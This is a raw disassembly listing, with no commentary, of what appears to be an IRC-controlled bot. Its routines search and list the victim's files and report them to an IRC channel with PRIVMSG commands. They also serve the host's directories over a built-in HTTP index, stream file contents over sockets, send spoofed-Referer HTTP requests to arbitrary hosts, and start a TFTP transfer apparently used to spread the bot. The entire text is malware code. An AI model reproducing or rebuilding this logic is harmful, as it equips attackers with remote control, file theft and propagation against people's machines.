loc_40616A:				; CODE XREF: sub_406100+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_415CF0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_4061AA
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_4061AA
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_4061AA
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_4061AA
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_4061C4
; ---------------------------------------------------------------------------


loc_4061AA:				; CODE XREF: sub_406100+7Aj
					; sub_406100+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_4061BA
		push	5Ch
		pop	eax
		jmp	short loc_4061BD
; ---------------------------------------------------------------------------


loc_4061BA:				; CODE XREF: sub_406100+B3j
		movsx	eax, al


loc_4061BD:				; CODE XREF: sub_406100+B8j
		mov	[ebp+ebx+var_210], al


loc_4061C4:				; CODE XREF: sub_406100+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_415CF0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40616A


loc_4061DA:				; CODE XREF: sub_406100+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_314]
		push	offset asc_426CB4 ; "\n"
		push	eax
		call	sub_416C98
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_421094	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_406228
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40622B
		push	[ebp+arg_0]
		jmp	short loc_4062A7
; ---------------------------------------------------------------------------


loc_406228:				; CODE XREF: sub_406100+11Cj
		mov	[ebp+var_4], esi


loc_40622B:				; CODE XREF: sub_406100+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_406238
		mov	[ebp+var_4], esi


loc_406238:				; CODE XREF: sub_406100+133j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_4062B2
		cmp	[ebp+arg_C], edi
		jz	short loc_4062A6
		lea	eax, [ebp+var_314]
		push	offset asc_426CB0 ; "*"
		push	eax
		call	sub_415C10
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406AEF
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_406301
; ---------------------------------------------------------------------------


loc_4062A6:				; CODE XREF: sub_406100+14Fj
		push	ebx


loc_4062A7:				; CODE XREF: sub_406100+126j
		call	dword_43A430	; closesocket
		jmp	loc_4063A9
; ---------------------------------------------------------------------------


loc_4062B2:				; CODE XREF: sub_406100+14Aj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	dword_421078	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_406301
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4154E7
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	dword_421090	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	dword_42106C	; CloseHandle


loc_406301:				; CODE XREF: sub_406100+1A4j
					; sub_406100+1CFj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_426C6C
		push	eax
		call	sub_4154E7
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_414F93
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43F52C[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_405F7E
		push	edi
		push	edi
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43F53C[ecx], eax
		jz	short loc_40637B


loc_406369:				; CODE XREF: sub_406100+279j
		cmp	[ebp+var_318], edi
		jnz	short loc_4063A9
		push	5
		call	dword_421060	; Sleep
		jmp	short loc_406369
; ---------------------------------------------------------------------------


loc_40637B:				; CODE XREF: sub_406100+267j
		push	ebx
		call	dword_43A430	; closesocket
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_426C20
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40B16D
		add	esp, 10h


loc_4063A9:				; CODE XREF: sub_406100+1ADj
					; sub_406100+26Fj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_406100	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4063B0	proc near		; CODE XREF: sub_405F7E+159p
					; sub_40CE55+464Cp

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_415570
		mov	edi, [ebp+arg_0]
		push	offset asc_426CB4 ; "\n"
		push	edi
		call	sub_416C98
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40640F
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 14h
		jmp	loc_40650C
; ---------------------------------------------------------------------------


loc_40640F:				; CODE XREF: sub_4063B0+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4064F2
		call	sub_415CF0
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		push	edi
		call	sub_415CF0
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_40650C
; ---------------------------------------------------------------------------


loc_4064F2:				; CODE XREF: sub_4063B0+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 10h


loc_40650C:				; CODE XREF: sub_4063B0+5Aj
					; sub_4063B0+140j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_4065A4
		push	[ebp+arg_C]
		call	sub_415CF0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_4065A4
		push	[ebp+arg_C]
		call	sub_415CF0
		sub	eax, 3
		pop	ecx
		jz	short loc_406558


loc_40654C:				; CODE XREF: sub_4063B0+1A6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_406558
		dec	eax
		jnz	short loc_40654C


loc_406558:				; CODE XREF: sub_4063B0+19Aj
					; sub_4063B0+1A3j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send


loc_4065A4:				; CODE XREF: sub_4063B0+17Ej
					; sub_4063B0+18Cj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	dword_4210A8	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_4210A4	; FindNextFileA
		test	eax, eax
		jz	loc_406995
		mov	edi, 1FFh


loc_4065D0:				; CODE XREF: sub_4063B0+5DFj
		cmp	[ebp+var_388], ebx
		jz	loc_40697D
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40697D
		lea	eax, [ebp+var_35C]
		push	offset a__0	; "."
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40697D
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	dword_4210A0	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_42109C	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_406645
		mov	ecx, offset aAm	; "AM"


loc_406645:				; CODE XREF: sub_4063B0+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_406651
		sub	eax, 0Ch


loc_406651:				; CODE XREF: sub_4063B0+29Cj
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4154E7
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4067FE
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4066D2
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 28h
		jmp	loc_40694E
; ---------------------------------------------------------------------------


loc_4066D2:				; CODE XREF: sub_4063B0+2DBj
		cmp	[ebp+arg_C], ebx
		jz	loc_4067BC
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_415CF0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_406772
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_406777
; ---------------------------------------------------------------------------


loc_406772:				; CODE XREF: sub_4063B0+3B9j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_406777:				; CODE XREF: sub_4063B0+3C0j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40693F
; ---------------------------------------------------------------------------


loc_4067BC:				; CODE XREF: sub_4063B0+325j
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_4067E9:				; CODE XREF: sub_4063B0+476j
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 24h
		jmp	loc_40694E
; ---------------------------------------------------------------------------


loc_4067FE:				; CODE XREF: sub_4063B0+2CFj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_406828
		push	ebx
		push	[ebp+var_368]
		call	sub_40C218
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_4067E9
; ---------------------------------------------------------------------------


loc_406828:				; CODE XREF: sub_4063B0+454j
		cmp	[ebp+arg_C], ebx
		jz	loc_406928
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_415CF0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4068C8
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4068CD
; ---------------------------------------------------------------------------


loc_4068C8:				; CODE XREF: sub_4063B0+50Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_4068CD:				; CODE XREF: sub_4063B0+516j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		jmp	short loc_40694E
; ---------------------------------------------------------------------------


loc_406928:				; CODE XREF: sub_4063B0+47Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_40693F:				; CODE XREF: sub_4063B0+407j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_415A6A
		add	esp, 18h


loc_40694E:				; CODE XREF: sub_4063B0+31Dj
					; sub_4063B0+449j ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_40697D
		push	7D0h
		call	dword_421060	; Sleep


loc_40697D:				; CODE XREF: sub_4063B0+226j
					; sub_4063B0+241j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	dword_4210A4	; FindNextFileA
		test	eax, eax
		jnz	loc_4065D0


loc_406995:				; CODE XREF: sub_4063B0+215j
		push	[ebp+arg_0]
		call	dword_421098	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_4069D8
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4154E7
		add	esp, 14h
		jmp	short loc_406A0C
; ---------------------------------------------------------------------------


loc_4069D8:				; CODE XREF: sub_4063B0+5F1j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4069F2
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	short loc_406A0C
; ---------------------------------------------------------------------------


loc_4069F2:				; CODE XREF: sub_4063B0+62Bj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4154E7
		add	esp, 10h


loc_406A0C:				; CODE XREF: sub_4063B0+626j
					; sub_4063B0+640j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3E8	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4063B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A32	proc near		; CODE XREF: sub_405F7E+13Bp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_421078	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406AEA
		push	esi
		push	ebx
		call	dword_421090	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406AE3


loc_406A77:				; CODE XREF: sub_406A32+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_406A94
		mov	edi, [ebp+arg_4]


loc_406A94:				; CODE XREF: sub_406A32+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_4210AC	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_421068	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406ADE
		call	dword_43A32C	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_406AE3
		xor	eax, eax


loc_406ADE:				; CODE XREF: sub_406A32+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_406A77


loc_406AE3:				; CODE XREF: sub_406A32+43j
					; sub_406A32+A8j
		push	ebx
		call	dword_42106C	; CloseHandle


loc_406AEA:				; CODE XREF: sub_406A32+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A32	endp


; =============== S U B	R O U T	I N E =======================================



sub_406AEF	proc near		; CODE XREF: sub_406100+17Cp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_415CF0
		test	eax, eax
		pop	ecx
		jbe	short loc_406B18


loc_406B02:				; CODE XREF: sub_406AEF+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406B0C
		mov	byte ptr [esi+edi], 2Fh


loc_406B0C:				; CODE XREF: sub_406AEF+17j
		push	edi
		inc	esi
		call	sub_415CF0
		cmp	esi, eax
		pop	ecx
		jb	short loc_406B02


loc_406B18:				; CODE XREF: sub_406AEF+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406AEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B1D	proc near		; CODE XREF: sub_40CE55+2AD5p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_43A310	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_43A418	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_43A398	; ntohs
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A05B
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43A340	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BFA
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406B96
		mov	eax, offset byte_438FBC


loc_406B96:				; CODE XREF: sub_406B1D+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_43A3E8	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		pop	esi


loc_406BFA:				; CODE XREF: sub_406B1D+6Bj
		push	ebx
		call	dword_43A430	; closesocket
		call	dword_43A2F8	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4154E7
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406C3A
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h


loc_406C3A:				; CODE XREF: sub_406B1D+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406B1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C3E	proc near		; CODE XREF: sub_406C3E:loc_407129p
					; DATA XREF: sub_407276+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_43A418	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_406D01
		push	190h
		call	dword_421060	; Sleep
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_4272BC
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406CE1
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_412D4C
		add	esp, 14h


loc_406CE1:				; CODE XREF: sub_406C3E+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40B16D
		push	[ebp+var_170]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_406D01:				; CODE XREF: sub_406C3E+50j
		mov	eax, [ebp+var_170]
